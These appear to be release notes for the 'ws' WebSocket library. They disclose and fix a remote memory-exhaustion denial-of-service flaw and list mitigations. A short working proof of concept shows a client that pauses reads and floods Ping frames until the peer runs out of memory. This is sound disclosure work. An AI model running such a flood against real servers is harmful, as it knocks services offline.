Features
- Introduced the
maxPendingAutoPongsoption (ace7248).
Bug fixes
- Fixed a remote memory exhaustion DoS vulnerability (ace7248).
A malicious peer can flood the other peer with Ping frames while stopping reads,
forcing it to buffer Pong frames that are automatically sent in response until
memory is exhausted, leading to process termination due to OOM.
import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(125);
const { port } = wss.address();
const ws = new WebSocket(`ws://localhost:${port}`);
ws.on('open', function () {
ws.pause();
(function ping() {
ws.ping(data, function (err) {
if (err) return;
ping();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`client close - code: ${code} reason: ${reason.toString()}`);
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`server close - code: ${code} reason: ${reason.toString()}`);
});
});The vulnerability was responsibly disclosed by multiple reporters:
In vulnerable versions, the issue can be mitigated by enforcing rate-limiting
combined with heartbeats, or by setting the autoPong option to false, if
available.